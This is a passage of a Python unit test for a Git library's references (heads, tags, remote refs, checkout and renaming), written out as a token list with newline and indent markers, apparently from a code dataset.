"isinstance_", "(_", "cur", "\\u", "head_", "._", "reference_", ",_", "Head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "commit_", "==_", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "head_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "detach_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "active", "\\u", "head_", "=_", "heads_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "head", "\\u", "commit_", "=_", "active", "\\u", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "reference_", "=_", "cur", "head", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "commit_", "==_", "cur", "head", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Type", "Error_", ",_", "getattr_", ",_", "cur", "\\u", "head_", ",_", "\"", "reference", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tags", " ", "are", " ", "reference", "s", ",", " ", "hen", "ce", " ", "we", " ", "can", " ", "point", " ", "to", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "some", "\\u", "tag_", "=_", "rw", "\\u", "repo_", "._", "tags_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "reference_", "=_", "some", "\\u", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "commit_", "==_", "some", "\\u", "tag_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "isinstance_", "(_", "cur", "\\u", "head_", "._", "reference_", ",_", "Ta", "g", "Reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "put", " ", "HEAD", " ", "back", " ", "to", " ", "a", " ", "real", " ", "head", ",", " ", "other", "wis", "e", " ", "every", "thing", " ", "else", " ", "fails_", "\\u\\u\\uNL\\u\\u\\u_", "cur", "\\u", "head_", "._", "reference_", "=_", "active", "\\u", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "type", " ", "check_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Value", "Error_", ",_", "setattr_", ",_", "cur", "\\u", "head_", ",_", "\"", "reference", "\"_", ",_", "\"", "tha", "t", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "head", " ", "handling", "_", "\\u\\u\\uNL\\u\\u\\u_", "commit_", "=_", "'", "HEAD", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev", "\\u", "head", "\\u", "commit_", "=_", "cur", "\\u", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "count_", ",_", "new", "\\u", "name_", "in_", "enumerate_", "(_", "(_", "\"", "my", "\\u", "new", "\\u", "head", "\"_", ",_", "\"", "feature", "/", "feature", "1", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "actual", "\\u", "commit_", "=_", "commit_", "+_", "\"", "^", "\"_", "*_", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "head_", "=_", "Head_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "new", "\\u", "name_", ",_", "actual", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "new", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "commit_", "==_", "prev", "\\u", "head", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "isinstance_", "(_", "new", "\\u", "head_", ",_", "Head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "alr", "ead", "y", " ", "exist", "s", ",", " ", "but", " ", "has", " ", "the", " ", "same", " ", "value", ",", " ", "so", " ", "its", " ", "fine", "_", "\\u\\u\\uNL\\u\\u\\u_", "Head_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "new", "\\u", "name_", ",_", "new", "\\u", "head_", "._", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "its", " ", "not", " ", "fine", " ", "with", " ", "a", " ", "different", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "OSE", "rror_", ",_", "Head_", "._", "create_", ",_", "rw", "\\u", "repo_", ",_", "new", "\\u", "name_", ",_", "new", "\\u", "head_", "._", "commit_", "._", "parents_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "force", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "head_", "=_", "Head_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "new", "\\u", "name_", ",_", "actual", "\\u", "commit_", ",_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "path_", "=_", "new", "\\u", "head_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "name_", "=_", "new", "\\u", "head_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "new", "\\u", "head_", "._", "rename_", "(_", "\"", "hell", "o", "\"_", ")_", "._", "name_", "==_", "\"", "hell", "o", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "new", "\\u", "head_", "._", "rename_", "(_", "\"", "hell", "o", "/", "world", "\"_", ")_", "._", "name_", "==_", "\"", "hell", "o", "/", "world", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "new", "\\u", "head_", "._", "rename_", "(_", "old", "\\u", "name_", ")_", "._", "name_", "==_", "old", "\\u", "name_", "and_", "new", "\\u", "head_", "._", "path_", "==_", "old", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "rename", " ", "with", " ", "force_", "\\u\\u\\uNL\\u\\u\\u_", "tmp", "\\u", "head_", "=_", "Head_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "\"", "tmp", "head", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Git", "Command", "Error_", ",_", "tmp", "\\u", "head_", "._", "rename_", ",_", "new", "\\u", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "\\u", "head_", "._", "rename_", "(_", "new", "\\u", "head_", ",_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "tmp", "\\u", "head_", "==_", "new", "\\u", "head_", "and_", "tmp", "\\u", "head_", "._", "object_", "==_", "new", "\\u", "head_", "._", "object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logfile_", "=_", "Ref", "Log_", "._", "path_", "(_", "tmp", "\\u", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "logfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Head_", "._", "delete_", "(_", "rw", "\\u", "repo_", ",_", "tmp", "\\u", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "deletion", " ", "remove", "s", " ", "the", " ", "log", " ", "as", " ", "well_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "logfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "heads_", "=_", "rw", "\\u", "repo_", "._", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "tmp", "\\u", "head_", "not_", "in_", "heads_", "and_", "new", "\\u", "head_", "not_", "in_", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "force", " ", "on", " ", "deletion", " ", "testi", "ng", " ", "wou", "ld", " ", "be", " ", "missi", "ng", " ", "here", ",", " ", "code", " ", "look", "s", " ", "oka", "y", " ", "tho", "ugh", " ", ";)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "new", " ", "head", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Type", "Error_", ",_", "Remo", "te", "Reference_", "._", "create_", ",_", "rw", "\\u", "repo_", ",_", "\"", "some", "\\u", "name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tag", " ", "ref_", "\\u\\u\\uNL\\u\\u\\u_", "tag", "\\u", "name_", "=_", "\"", "5.0", ".2", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "light", "\\u", "tag_", "=_", "Ta", "g", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "tag", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Git", "Command", "Error_", ",_", "Ta", "g", "Reference_", "._", "create_", ",_", "rw", "\\u", "repo_", ",_", "tag", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "light", "\\u", "tag_", "=_", "Ta", "g", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "tag", "\\u", "name_", ",_", "\"", "HEAD", "~", "1", "\"_", ",_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "isinstance_", "(_", "light", "\\u", "tag_", ",_", "Ta", "g", "Reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "light", "\\u", "tag_", "._", "name_", "==_", "tag", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "light", "\\u", "tag_", "._", "commit_", "==_", "cur", "\\u", "head_", "._", "commit_", "._", "parents_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "light", "\\u", "tag_", "._", "tag_", "is_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tag", " ", "with", " ", "tag", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "other", "\\u", "tag", "\\u", "name_", "=_", "\"", "release", "s", "/", "1.0", ".2", "RC", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "\"", "my", " ", "mig", "ht", "y", " ", "tag", "\\\\", "nsec", "ond", " ", "line", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj", "\\u", "tag_", "=_", "Ta", "g", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "other", "\\u", "tag", "\\u", "name_", ",_", "message_", "=_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "isinstance_", "(_", "obj", "\\u", "tag_", ",_", "Ta", "g", "Reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "obj", "\\u", "tag_", "._", "name_", "==_", "other", "\\u", "tag", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "obj", "\\u", "tag_", "._", "commit_", "==_", "cur", "\\u", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "obj", "\\u", "tag_", "._", "tag_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Ta", "g", "Reference_", "._", "delete_", "(_", "rw", "\\u", "repo_", ",_", "light", "\\u", "tag_", ",_", "obj", "\\u", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tags_", "=_", "rw", "\\u", "repo_", "._", "tags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "light", "\\u", "tag_", "not_", "in_", "tags_", "and_", "obj", "\\u", "tag_", "not_", "in_", "tags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remote", " ", "deletion_", "\\u\\u\\uNL\\u\\u\\u_", "remote", "\\u", "refs", "\\u", "so", "\\u", "far_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remotes", "_", "=_", "rw", "\\u", "repo_", "._", "remotes", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "remotes", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "remote_", "in_", "remotes", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "refs_", "=_", "remote_", "._", "refs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "HEAD", " ", "exist", "s", ",", " ", "it", " ", "must", " ", "be", " ", "delete", "d", " ", "first", ".", " ", "Ot", "her", "wis", "e", " ", "it", " ", "mig", "ht_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "end", " ", "up", " ", "pointi", "ng", " ", "to", " ", "an", " ", "invalid", " ", "ref", " ", "it", " ", "the", " ", "ref", " ", "was", " ", "delete", "d", " ", "bef", "ore", "._", "\\u\\u\\uNL\\u\\u\\u_", "remote", "\\u", "head", "\\u", "name_", "=_", "\"", "HEAD", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "remote", "\\u", "head", "\\u", "name_", "in_", "refs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Remo", "te", "Reference_", "._", "delete_", "(_", "rw", "\\u", "repo_", ",_", "refs_", "[_", "remote", "\\u", "head", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "(_", "refs_", "[_", "remote", "\\u", "head", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "handle", " ", "HEAD", " ", "deletion_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Remo", "te", "Reference_", "._", "delete_", "(_", "rw", "\\u", "repo_", ",_", "*_", "refs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remote", "\\u", "refs", "\\u", "so", "\\u", "far_", "+=_", "len_", "(_", "refs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ref_", "in_", "refs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "ref_", "._", "remote", "\\u", "name_", "==_", "remote_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "ref", " ", "to", " ", "delete_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "remote", "\\u", "refs", "\\u", "so", "\\u", "far_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "remote_", "in_", "remotes", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "remotes", " ", "with", "out", " ", "reference", "s", " ", "throw_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Assert", "ion", "Error_", ",_", "getattr_", ",_", "remote_", ",_", "'", "refs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "remote_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "change", " ", "where", " ", "the", " ", "active", " ", "head", " ", "points", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "head_", "._", "reference_", "=_", "rw", "\\u", "repo_", "._", "heads_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "head_", "=_", "cur", "\\u", "head_", "._", "reference_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "commit_", "=_", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "head_", "._", "commit_", "=_", "old", "\\u", "commit_", "._", "parents_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "head_", "._", "commit_", "==_", "old", "\\u", "commit_", "._", "parents_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "head_", "._", "commit_", "==_", "cur", "\\u", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "head_", "._", "commit_", "=_", "old", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "setti", "ng", " ", "a", " ", "non", "-", "commit", " ", "as", " ", "commit", " ", "fail", "s", ",", " ", "but", " ", "succeeds", " ", "as", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "head", "\\u", "tree_", "=_", "head_", "._", "commit_", "._", "tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Value", "Error_", ",_", "setattr_", ",_", "head_", ",_", "'", "commit", "'_", ",_", "head", "\\u", "tree_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "head_", "._", "commit_", "==_", "old", "\\u", "commit_", "#", " ", "and", " ", "the", " ", "ref", " ", "did", " ", "not", " ", "change_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "allow", " ", "hed", "s", " ", "to", " ", "point", " ", "to", " ", "any", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "head_", "._", "object_", "=_", "head", "\\u", "tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "head_", "._", "object_", "==_", "head", "\\u", "tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "cann", "ot", " ", "query", " ", "tree", " ", "as", " ", "commit_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Type", "Error_", ",_", "getattr_", ",_", "head_", ",_", "'", "commit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "the", " ", "commit", " ", "direct", "ly", " ", "usi", "ng", " ", "the", " ", "head", ".", " ", "Thi", "s", " ", "wou", "ld", " ", "neve", "r", " ", "deta", "ch", " ", "the", " ", "head_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "not_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "head_", "._", "object_", "=_", "old", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "reference_", "=_", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent", "\\u", "commit_", "=_", "head_", "._", "commit_", "._", "parents_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "commit_", "=_", "parent", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "and_", "cur", "\\u", "head_", "._", "commit_", "==_", "parent", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cur", "\\u", "head_", "._", "reference_", "=_", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "commit_", "=_", "parent", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "cur", "\\u", "head_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "head_", "._", "commit_", "==_", "parent", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "checkout_", "\\u\\u\\uNL\\u\\u\\u_", "active", "\\u", "branch_", "=_", "rw", "\\u", "repo_", "._", "active", "\\u", "branch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "head_", "in_", "rw", "\\u", "repo_", "._", "heads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "checke", "d\\u", "out", "\\u", "head_", "=_", "head_", "._", "checkout_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "checke", "d\\u", "out", "\\u", "head_", "==_", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "head", " ", "to", " ", "checkout_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", "out", " ", "with", " ", "branch", " ", "creation_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "head_", "=_", "active", "\\u", "branch_", "._", "checkout_", "(_", "b_", "=_", "\"", "new", "\\u", "head", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "active", "\\u", "branch_", "!=_", "rw", "\\u", "repo_", "._", "active", "\\u", "branch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "new", "\\u", "head_", "==_", "rw", "\\u", "repo_", "._", "active", "\\u", "branch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", "out", " ", " ", "with", " ", "force", " ", "as", " ", "we", " ", "have", " ", "a", " ", "change", "d", " ", "a", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "clear", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "open_", "(_", "new", "\\u", "head_", "._", "commit_", "._", "tree_", "._", "blobs_", "[_", "-_", "1_", "]_", "._", "abspath_", ",_", "'", "w", "'_", ")_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "new", "\\u", "head_", "._", "commit_", "._", "diff_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "new", " ", "branch", " ", "tha", "t", " ", "is", " ", "like", "ly", " ", "to", " ", "touch", " ", "the", " ", "file", " ", "we", " ", "changed_", "\\u\\u\\uNL\\u\\u\\u_", "far", "\\u", "awa", "y", "\\u", "head_", "=_", "rw", "\\u", "repo_", "._", "create", "\\u", "head_", "(_", "\"", "far", "\\u", "head", "\"_", ",_", "'", "HEAD", "~", "100", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Git", "Command", "Error_", ",_", "far", "\\u", "awa", "y", "\\u", "head_", "._", "checkout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "active", "\\u", "branch_", "==_", "active", "\\u", "branch_", "._", "checkout_", "(_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "rw", "\\u", "repo_", "._", "head_", "._", "reference_", "!=_", "far", "\\u", "awa", "y", "\\u", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "reference", " ", "creation_", "\\u\\u\\uNL\\u\\u\\u_", "partial", "\\u", "ref_", "=_", "'", "sub", "/", "ref", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "full", "\\u", "ref_", "=_", "'", "refs", "/", "%", "s", "'_", "%_", "partial", "\\u", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ref_", "=_", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "partial", "\\u", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "path_", "==_", "full", "\\u", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "object_", "==_", "rw", "\\u", "repo_", "._", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "OSE", "rror_", ",_", "Reference_", "._", "create_", ",_", "rw", "\\u", "repo_", ",_", "full", "\\u", "ref_", ",_", "'", "HEAD", "~", "20", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "it", " ", "works", " ", "if", " ", "it", " ", "is", " ", "at", " ", "the", " ", "same", " ", "spot", " ", "tho", "ugh", " ", "and", " ", "points", " ", "to", " ", "the", " ", "same", " ", "reference_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "full", "\\u", "ref_", ",_", "'", "HEAD", "'_", ")_", "._", "path_", "==_", "full", "\\u", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Reference_", "._", "delete_", "(_", "rw", "\\u", "repo_", ",_", "full", "\\u", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "recreate", " ", "the", " ", "reference", " ", "usi", "ng", " ", "a", " ", "full", "\\u", "ref_", "\\u\\u\\uNL\\u\\u\\u_", "ref_", "=_", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "full", "\\u", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "path_", "==_", "full", "\\u", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "object_", "==_", "rw", "\\u", "repo_", "._", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "recreate", " ", "usi", "ng", " ", "force_", "\\u\\u\\uNL\\u\\u\\u_", "ref_", "=_", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "partial", "\\u", "ref_", ",_", "'", "HEAD", "~", "1", "'_", ",_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "path_", "==_", "full", "\\u", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "object_", "==_", "rw", "\\u", "repo_", "._", "head_", "._", "commit_", "._", "parents_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "rename", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "orig", "\\u", "obj_", "=_", "ref_", "._", "object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "(_", "'", "refs", "/", "abs", "name", "'_", ",_", "'", "rela", "\\u", "name", "'_", ",_", "'", "feature", "/", "rela", "\\u", "name", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ref", "\\u", "new", "\\u", "name_", "=_", "ref_", "._", "rename_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "isinstance_", "(_", "ref", "\\u", "new", "\\u", "name_", ",_", "Reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 